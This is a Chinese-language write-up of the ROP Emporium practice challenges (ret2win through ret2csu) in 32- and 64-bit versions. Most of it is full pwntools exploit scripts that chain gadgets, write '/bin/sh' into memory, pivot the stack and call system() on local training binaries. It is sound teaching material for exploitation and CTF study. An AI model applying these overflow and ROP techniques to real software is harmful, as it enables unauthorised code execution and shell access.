记录一下学习ROP的基础题目.


ret2win

32位:

先分析一下程序, 可以看到mainpwnmeret2win函数.
main函数调用了pwnme函数, pwnme函数里面存在一个gets读取0x32个字节到s变量里面, 但是这个变量只有0x28大小. 也就是0x28 + 4 + retaddr就可以控制这个程序的返回地址了.

废话不多说 直接上exp.

from pwn import *

p = process("./ret2win32")

# var
overflow = 0x28 + 4
ret2win_addr = 0x08048659

payload = "A" * overflow
payload += p32(ret2win_addr)

p.sendline(payload)
p.interactive()

64位:

虽然是64位的, 但是这个题目不需要进行rop, 所以和32位的做法一样.

from pwn import *

p = process("./ret2win")

# var
overflow = 0x20 + 8   # because is 64 bit program, +8
ret2win_addr = 0x0000000000400811

payload = "A" * overflow
payload += p64(ret2win_addr)

p.sendline(payload)
p.interactive()


split

32位:

mainpwnme函数都和上道题差不多, 但是usefulFunction里面只有一条system("/bin/ls"), 并不是cat /flag, 不过可以通过IDA里面shift+F12, 搜索到/bin/cat flag.txt, 也就是system函数和/bin/cat flag.txt并不在连续的内存位置, 所以需要构造一下 :D

接下来就要用到汇编中, 调用函数的原理. 如果不懂的可以看我之前拍过的一期视频.
【x86汇编】详解汇编调用函数三步,加恢复堆栈平衡

开始写exp

from pwn import *

p = process("./split32")
elf = ELF("./split32")

# var
overflow = 0x28 + 4
system_addr = elf.plt["system"]
cat_flag_addr = 0x0804A030

payload = "A" * overflow
payload += p32(system_addr) + p32(0)
payload += p32(cat_flag_addr)

p.sendline(payload)
p.interactive()

64位:

64位调用函数参数寄存器: rdi, rsi, rdx, rcx, r8, r9
从这里开始, 我们第一次接触gadget, 什么是gadget呢, 就是程序中存在的一些小汇编指令,
比如pop rdi; ret, pop rsi; ret, mov r12, 13; ret, 有没有发现什么规律, 每个汇编指令结尾都是ret, 所以是ROP Return-Oriented Programming, 可以通过找到多个gadget, 最后组成一段长的, 以完成我们的攻击.

在我们安装完毕pwntools之后, 会有一个工具ROPgadget, 它可以很方便的找到我们攻击所需要的gadget.

64位程序调用函数的时候, 函数的前6个参数是存在于寄存器当中的, 所以我们需要把/bin/cat flag.txt放到第一个参数的位置, 也就是需要找到pop rdi; ret

pop rdi; ret

ROPgadget --binary split --only "pop|ret"

可以找到0x0000000000400883 : pop rdi ; ret, 已经可以开始写exp了.

from pwn import *

p = process("./split")
elf = ELF("./split")

# var 
overflow = 0x20 + 8
pop_rdi_addr = 0x0000000000400883
cat_flag_addr = 0x0000000000601060
system_addr = elf.plt["system"]

payload = "A" * overflow
payload += p64(pop_rdi_addr) + p64(cat_flag_addr)
payload += p64(system_addr)

p.sendline(payload)
p.interactive()

callme

32位:

这道题目是为了加深函数调用的理解
题目说需要依次调用callme_one(), callme_two() , callme_three()三个函数, 每个函数都需要传递1 2 3三个参数. 也就是func(1, 2, 3)

需要通过ROPgadget找到一个可以删除栈上三个参数的gadget, 以恢复栈平衡.

要注意, callme_one, callme_two等函数地址要取函数本身的, 而不是call callme_one之类的地址.

开始写exp

from pwn import *

p = process("./callme32")
elf = ELF("./callme32")

# var
overflow = 0x28 + 4
callme_one_addr = elf.sym["callme_one"]
callme_two_addr = elf.sym["callme_two"]
callme_three_addr = elf.sym["callme_three"]

pop_esi_rdi_rbp_ret = 0x080488a9

payload = "A" * overflow
payload += p32(callme_one_addr) + p32(pop_esi_rdi_rbp_ret) + p32(1) + p32(2) + p32(3)
payload += p32(callme_two_addr) + p32(pop_esi_rdi_rbp_ret) + p32(1) + p32(2) + p32(3)
payload += p32(callme_three_addr) + p32(pop_esi_rdi_rbp_ret) + p32(1) + p32(2) + p32(3)

p.sendline(payload)
p.interactive()

64位:

emm, 这个题目, 64位个人感觉要更简单一些, 专心找gadget就可以了.

from pwn import *

p = process("./callme")
elf = ELF("./callme")

# var
overflow = 0x20 + 8
callme_one_addr = elf.sym["callme_one"]
callme_two_addr = elf.sym["callme_two"]
callme_three_addr = elf.sym["callme_three"]

pop_rdi_rsi_rdx_addr = 0x0000000000401ab0

payload = "A" * overflow
payload += p64(pop_rdi_rsi_rdx_addr) + p64(1) + p64(2) + p64(3) + p64(callme_one_addr)
payload += p64(pop_rdi_rsi_rdx_addr) + p64(1) + p64(2) + p64(3) + p64(callme_two_addr)
payload += p64(pop_rdi_rsi_rdx_addr) + p64(1) + p64(2) + p64(3) + p64(callme_three_addr)

p.sendline(payload)
p.interactive()

write4

32位:

这个挑战给了system但是没有给/bin/cat flag.txt, 则需要自己写一段进去, 这里打算直接写个/bin/sh, 但是往哪里写呢?

通过readelf工具查看段.

可以看到.data.bss段都有可读写的权限, 这里就可以把/bin/sh写到.data段内, 要写入的长度是7, data段大小是8, 刚好可以装下.

要想写入数据到里面, 需要使用mov指令, 于是找到了

0x080486da : pop edi ; pop ebp ; ret
0x08048670 : mov dword ptr [edi], ebp ; ret

这两条指令就可以满足我们写入数据到内存的想法. 由于这是32位的程序, 每次只能写入4个字节, 而/bin/sh是7个字节, 于是我们要分两次进行写入。

那? Go?

from pwn import *

p = process("./write432")
elf = ELF("./write432")

# var
overflow = 0x28 + 4
system_addr = elf.plt["system"]
data_addr = 0x0804a028
pop_edi_ebp_addr = 0x080486da
mov_edi_ebp = 0x08048670
bin_sh_str = "/bin/sh".ljust(8, "\0")
left_bin_sh = bin_sh_str[:4]
right_bin_sh = bin_sh_str[4:]

payload = "A" * overflow
payload += p32(pop_edi_ebp_addr) + p32(data_addr) + left_bin_sh + p32(mov_edi_ebp)
payload += p32(pop_edi_ebp_addr) + p32(data_addr + 4) + right_bin_sh + p32(mov_edi_ebp)
payload += p32(system_addr) + p32(0)
payload += p32(data_addr)

p.sendline(payload)
p.interactive()

64位:

思路和32位一样, 不过64位要更简单一些, 因为可以一次性直接把/bin/sh写进去, 不用分开写入了.

找到需要的gadget

0x0000000000400893 : pop rdi ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400820 : mov qword ptr [r14], r15 ; ret

开始编写exp

from pwn import *

p = process("./write4")
elf = ELF("./write4")

# var
overflow = 0x20 + 8
system_addr = elf.plt["system"]
pop_rdi_addr = 0x0000000000400893
data_addr = 0x0000000000601050
mov_r14_r15_addr = 0x0000000000400820
pop_r14_15_addr = 0x0000000000400890
bin_sh_str = "/bin/sh".ljust(8, "\0")

payload = "A" * overflow
payload += p64(pop_r14_15_addr) + p64(data_addr) + bin_sh_str + p64(mov_r14_r15_addr)
payload += p64(pop_rdi_addr) + p64(data_addr)
payload += p64(system_addr)

p.sendline(payload)
p.interactive()

badchars

32位:

程序禁止输入b i c / <space> f n s, 可以通过异或后的结果来把/bin/sh写到程序, 再通过gadget/bin/sh异或回来, 再进行执行.

首先要得出异或哪个数字可以通过这个黑名单, 写个脚本跑跑.

blackList = [ord(i) for i in ["b", "i", "c", "/", " ", "f", "n",  "s"]]
bin_sh = "/bin/sh".ljust(8, "\0")

result = ""

# 测试从1异或到20 看看哪个数字可以使用
for i in range(1, 20):
    for item in bin_sh:
        if ord(item) ^ i in blackList:
            break
        else:
            result += item
            if len(result) == 8:
                print(i)
    result = ""

执行完毕可以发现2 3 5 9 18 19之类的都可以用, 然后直接用个最小的就可以.

开始编写exp

from pwn import *


p = process("./badchars32")
elf = ELF("./badchars32")

overflow = cyclic_find("laaa")
xor_num = 2
bin_sh = list("/bin/sh".ljust(8, "\0"))
data_addr = 0x0804a038
system_addr = elf.sym["system"]
mov_edi_esi_ret = 0x08048893
pop_esi_edi_ret = 0x08048899
pop_ebx_ecx_ret = 0x08048896
xor_ebx_ecx_ret = 0x08048890

# xor encode
for index, item in enumerate(bin_sh):
    bin_sh[index] = chr(ord(item) ^ xor_num)

bin_sh = "".join(bin_sh)

payload = "A" * overflow
# write "/bin" to data
payload += p32(pop_esi_edi_ret) + bin_sh[:4] + p32(data_addr)
payload += p32(mov_edi_esi_ret)
# write "/sh" to data
payload += p32(pop_esi_edi_ret) + bin_sh[4:] + p32(data_addr + 4)
payload += p32(mov_edi_esi_ret)

# decode xor
for i in range(len(bin_sh)):
    payload += p32(pop_ebx_ecx_ret) + p32(data_addr + i) + p32(xor_num)
    payload += p32(xor_ebx_ecx_ret)

# system(/bin/sh)
payload += p32(system_addr)
payload += p32(0)
payload += p32(data_addr)

p.sendline(payload)
p.interactive()

64位:

和32位一样思路, 只是找到gadget不一样, 还要注意要比32位程序多用一个pop rdi; ret.

exp:

from pwn import *

p = process("./badchars")

xor_num = 2

binsh = '/bin/sh\x00'
xorbinsh = ''
for i in binsh:
    a = ord(i) ^ xor_num
    xorbinsh += chr(a)
overflow = cyclic_find("kaaa")
pop_rdi_ret = 0x0000000000400b39
pop_r12_r13_ret = 0x0000000000400b3b
mov_r13_r12_ret = 0x0000000000400b34
pop_r14_r15_ret = 0x0000000000400b40
xor_r15_r14_ret = 0x0000000000400b30
bss_addr = 0x601080
system_addr = 0x4006f0

payload = "A" * overflow
payload += p64(pop_r12_r13_ret) + xorbinsh + p64(bss_addr)
payload += p64(mov_r13_r12_ret)
for i in range(len(xorbinsh)):
    payload += p64(pop_r14_r15_ret)
    payload += p64(xor_num)
    payload += p64(bss_addr + i)
    payload += p64(xor_r15_r14_ret)

payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(system_addr)

p.sendline(payload)

p.interactive()

fluff

32位:

看介绍, 就是write4的升级版, 肯定是要找一条可以把寄存器的值写入到内存地址上的指令,

0x08048693 : mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret

但是没找到pop ecx; pop edx; ret之类的操作

可是…可以发现一条

0x080485f3 : popal ; cld ; ret

第一次遇到这个指令, 去搜了一下, 可以从栈上弹到所有寄存器,
顺序是%edi->%esi->%ebp->%esp->%ebx->%edx->%ecx->%eax
也就是相当于

pop edi;
pop esi;
pop ebp;
pop esp;
pop ebx;
pop edx;
pop ecx;
pop eax;

这样我们只需要随便填充其他的寄存器, 然后把ecx, edx寄存器填写成我们需要的内容就可以了.

为了减少代码量, 我们还可以写个函数.

直接上exp

from pwn import *

p = process("./fluff32")

# var
offset = 44
bss_addr = 0x0804a040
bin_sh = "/bin/sh".ljust(8, "\0")
system_addr = 0x0804865A

popal = 0x080485f3 # %edi->%esi->%ebp->%esp->%ebx->%edx->%ecx->%eax
mov_ecx_edx = 0x08048693 # 2  mov [ecx], edx

def write(text, offset):
    payload = p32(popal)
    payload += p32(0)
    payload += p32(0)
    payload += p32(0)
    payload += p32(0)
    payload += p32(0)
    payload += text  # edx
    payload += p32(bss_addr + offset)  # ecx
    payload += p32(0)
    payload += p32(mov_ecx_edx) + p32(0) + p32(0)
    return payload

payload = "A" * offset
payload += write(bin_sh[:4], 0)
payload += write(bin_sh[4:], 4)
payload += p32(system_addr) + p32(bss_addr)

p.sendline(payload)
p.interactive()

64位:

只要搞明白, 0 与 正数进行异或, 得到的结果就是那个正数, 可以通过这个方法间接给一个寄存器赋值.

from pwn import *

p = process("./fluff")

# var
offset = 0x28
system_addr = 0x4005E0
bss_addr = 0x0000000000601060
pop_rdi = 0x00000000004008c3  # pop rdi; ret
xor_r11_r11 = 0x0000000000400822  # xor r11, r11; pop; ? ret
pop_r12 = 0x0000000000400832 # pop r12 ; ?; ret
xor_r11_r12 = 0x000000000040082F # xor r11, r12; pop; ?; ret
mov_r10_r11 = 0x000000000040084E   # mov [r10], r11; pop r13; pop r12; xor [r10], r12b; ret
xchg_r10_r11 = 0x0000000000400840  # xchg; pop; ?; ret
bin_sh = "/bin/sh".ljust(8, "\0")

# A == 0   ->   A ^= ?   ->  A = ?
"""
>>> r11 = 100
>>> r11 ^= r11
>>> r11
0
>>> r12 = 200
>>> r11 ^= r12
>>> r11
200
"""

payload = "A" * offset

# bin/sh  ->  bss
payload += p64(xor_r11_r11) + p64(0)       # r11 = 0
payload += p64(pop_r12) + p64(bss_addr)    # r12 = bss_addr
payload += p64(xor_r11_r12) + p64(0)       # r11 = r12 = bss_addr
payload += p64(xchg_r10_r11) + p64(0)      # r10 = 0   ->   r10 = r11 = r12 = bss_addr

payload += p64(xor_r11_r11) + p64(0)       # r11 = 0
payload += p64(pop_r12) + bin_sh           # r12 = /bin/sh 
payload += p64(xor_r11_r12) + p64(0)       # r11 = 0   ->   r11 = r12 = /bin/sh

payload += p64(mov_r10_r11) + p64(0) + p64(0)  # mov [bss], /bin/sh

payload += p64(pop_rdi) + p64(bss_addr)    # bss_addr = /bin/sh
payload += p64(system_addr)                # system(bss_addr) = system(/bin/sh)


p.sendline(payload)
p.interactive()

pivot

32位:

分析一下题目, 有两个输入的地方,
第一次输入会输入到中, 也就是程序打印那个地址.
第二次输入就是要溢出了, 但是给我们构造ROP链的大小只有0xb. 肯定不够我们构造复杂的ROP链的, 所以我们要进行栈迁移.

题目给了libcpivot32.so, 分析了一下可以看到ret2win函数和foothold_function, 可以通过泄露foothold_function的地址计算出ret2win的实际地址并执行.

from pwn import *
import time

p = process("./pivot32")
elf = ELF("./pivot32")
libc = ELF("libpivot32.so")

# var
overflow = 0x28 + 4                                # 溢出字节
ret2win_sym = libc.sym["ret2win"]                  # 得到ret2win函数的地址
foothold_sym = libc.sym["foothold_function"]    # 得到foothold_function
offset = ret2win_sym - foothold_sym                # 计算出foothold到ret2win函数的偏移
foothold_plt = elf.plt["foothold_function"]
foothold_got = elf.got["foothold_function"]

pop_eax = 0x080488c0            # pop eax; ret
pop_ebx = 0x08048571            # pop ebx; ret
mov_eax_eax = 0x080488c4        # mov eax, [eax]; ret
add_eax_ebx = 0x080488c7        # add eax, ebx; ret
call_eax = 0x080486a3            # call eax
xchg_eax_esp = 0x080488c2        # xchg eax, esp; ret

p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")

heap = int(p.recv(10), 16)        # 获得程序打印出来的heap地址 也就是我们第一次写入的内容地址.
payload = b""
payload += p32(foothold_plt)
payload += p32(pop_eax) + p32(foothold_got) + p32(mov_eax_eax)
payload += p32(pop_ebx) + p32(offset)
payload += p32(add_eax_ebx)
payload += p32(call_eax)
p.sendline(payload)

payload = b"A" * overflow
payload += p32(pop_eax) + p32(heap)
payload += p32(xchg_eax_esp)    # 让eax和esp两个寄存器交换内容

p.sendline(payload)

p.interactive()

真实题目:
Black Watch 入群题 PWN

64位:

和32位差不多

# coding:utf-8
from pwn import *

elf = ELF("./pivot")
libc = ELF("./libpivot.so")
p = process("./pivot")

# var
foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function']
foothold_sym = libc.symbols['foothold_function']
ret2win = libc.symbols['ret2win']
offset = ret2win - foothold_sym
mov_rax_rax = 0x0000000000400b05
pop_rax_ret = 0x0000000000400b00
call_rax =0x00000000040098e
add_rax_rbp = 0x00000000000400b09
pop_rbp = 0x0000000000400900
xchg_rax_rsp = 0x0000000000400b02

p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")

heap = int(p.recv(14),16)
p.recvuntil("> ")

payload1 = p64(foothold_plt)
payload1 += p64(pop_rax_ret)
payload1 += p64(foothold_got)
payload1 += p64(mov_rax_rax)
payload1 += p64(pop_rbp)
payload1 += p64(offset)
payload1 += p64(add_rax_rbp)
payload1 += p64(call_rax)

p.sendline(payload1)
p.recvuntil("> ")
payload2 ='a'*(0x20+0x08)
payload2 += p64(pop_rax_ret)
payload2 += p64(heap)
payload2 += p64(xchg_rax_rsp)     
p.sendline(payload2)

p.recvuntil("into libpivot.so")

p.interactive()

ret2csu

64位:


程序要求我们callret2win这个函数, 同时rdx寄存器要放入0xdeadcafebabebeef.

通过ROPgadget并没有找到pop rdx; ret之类的, 但是从IDA进行分析, 可以看到__libc_csu_init函数中, 有pop r15mov rdx, r15之类的, 可以间接进行赋值.

from pwn import *


p = process("./ret2csu")

# var
init_addr = 0x0600E10
mov_rdx_r15 = 0x0000000000400880
pop_rbx = 0x000000000040089A

ret2win = 0x00000000004007B1

p.recvuntil('> ')

payload = b"A" * 0x28
payload += p64(pop_rbx)
payload += p64(0)                     # pop rbx
payload += p64(1)                     # pop rbp   填写1因为0x400880那串里面有一个add rbx, 1;  再往后有一个cmp, 如果不填写1就又跳回来了.
payload += p64(init_addr)             # pop r12  如果不init, setvbuf会将edx填写为0xffffffff
payload += p64(0)                     # pop r13
payload += p64(0)                     # pop r14
payload += p64(0xdeadcafebabebeef)     # pop r15
payload += p64(mov_rdx_r15)            # ret
payload += p64(0)
payload += p64(0)         # rbx
payload += p64(0)         # rbp
payload += p64(0)         # r12
payload += p64(0)         # r13
payload += p64(0)         # r14
payload += p64(0)         # r15
payload += p64(ret2win) # ret

p.sendline(payload)

p.interactive()

如果不理解可以通过IDA+Pwntools远程调试, 看清楚栈中数据, 就会理解了。